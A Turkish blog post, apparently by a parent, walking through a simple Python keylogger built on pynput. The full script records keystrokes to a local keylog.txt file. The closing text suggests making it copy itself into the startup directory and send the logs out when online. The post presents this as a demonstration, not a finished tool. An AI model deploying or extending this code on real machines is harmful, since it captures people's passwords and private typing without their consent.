Python kullanarak basit bir keylogger yazalım

Geçen haftalarda oğlumun yaşı itibarıyla çok merak duyduğu, bilgisayar ile ilişkili illegal çalışmaların hep 16 yaşında ve kapşonlu tiplerin uğraş alanı sanması üzerine konuşmamıza istinaden hazırladığım bir uygulamayı burada paylaşmak istiyorum. Zaman bulursam hiç bir zaman aktif bulunamadığım tozlanmış, küflenmiş github hesabıma da atıp zaman içinde geliştirmeyi de amaçlıyorum.

Projemizde pynput modülünü kullanacağız. Tüm detayları aşağıda paylaştığım linklerde mevcut, yani şu anda linkleri açıp oradan da devam edebilirisiniz. Biz her ne kadar bu modülü kötü amaçlı kullanmaya çalışıyor olsak da modülün amacı Python ile klavye ve mouse yönetimi, tuş basımlarını ve mouse tıklamalarını yakalamak ve yönetmek.

PyPi sayfası: https://pypi.org/project/pynput/

Detaylı dokümantasyon: https://pynput.readthedocs.io/en/latest/

İlk yapılması gereken komut satırından pynput modülünü kurmalısınız. Bunun için komut satırına şunu yazmanız yeterli;

pip install pynput

Her zaman yaptığım gibi kod içine kendi notlarımı alıyor olduğumdan direk paylaşacağım. Cevaplayabileceğim sorularınız olursa da yanıtlamaya çalışırım.

 

# -*- coding: utf-8 -*-

"""
@author: hmustak @2021
@mail: hakan[@]mustak.org
@web: mustak.org
@social: twitter.com/hmustak
"""

import pynput

#modülümüzü ekliyoruz
from pynput.keyboard import Key,Listener

#kullanacağımız değişken ve dizilerimiz
sayac = 0
keys = []

#tuşa basılma eylemi gerçekleştiğinde
def on_press(key):
    global sayac,keys
    sayac += 1
    #basılan tuşu yaz
    print("{0} pressed".format(key))
    #diziye ekle
    keys.append(key)

    #Gelen tuşları kayıt altına alalım
    if sayac >= 10:
        sayac = 0
        write_file(keys)
        keys = []

#eklemek üzere log dosyamızı açalım - Burada tarih değişkeni ile dosya adınını dinamikleştirebiliriz 
def write_file(keys):
    with open("keylog.txt" , "a" , encoding="utf-8") as file:
        for key in keys:
            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write("\n")
            elif k.find("Key") == -1:
                file.write(k)

#Denemelerde ESC'ye basılırsa uygulmayı kapatabilelim :)
def on_release(key):
    if key == Key.esc:
        print("exit")
        return False

#Tuş Dinlemeyi başlayalım
with Listener(on_press = on_press, on_release = on_release) as listener:
    listener.join()

#Hepsi bu kadar @hmustak

Log tutulan txt dosyası ise şöyle;

Tabi bunun her şeyden önce basit bir deneme olduğunu unutmayalım. Eğer bir şey yapılmak istenirse, python ile kolayca yapılabileceğini oğluma göstermek için yaptığım bir deneme. Böyle gereksiz bir uygulama için zamanı olup üşenmeyen arkadaşlar, scripti daha kompleks bir hale de getirilebilir. Aklıma ilk gelenler; Bilgisayarın açılış dizinine kendini kopyalayarak, sistem dosyası gibi kendini çalıştıracak, belli log dosyası büyüklüklerinde , eğer internette varsa (kontrol edip), o dosyaları gönderecek… gibi

Ama vaktiniz varsa AI için altyapınızı, hiç değilse dilinizi (ingilizce dememe gerek yok değil mi?) geliştirin derim.

Keyifli kod yazmalar

Hakan Müştak@2021

 


Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

question razz sad evil exclaim smile redface biggrin surprised eek confused cool lol mad twisted rolleyes wink idea arrow neutral cry mrgreen

*

Captcha Kontrolü * Zaman aşımı, sayfayı tekrar yükleyin


Top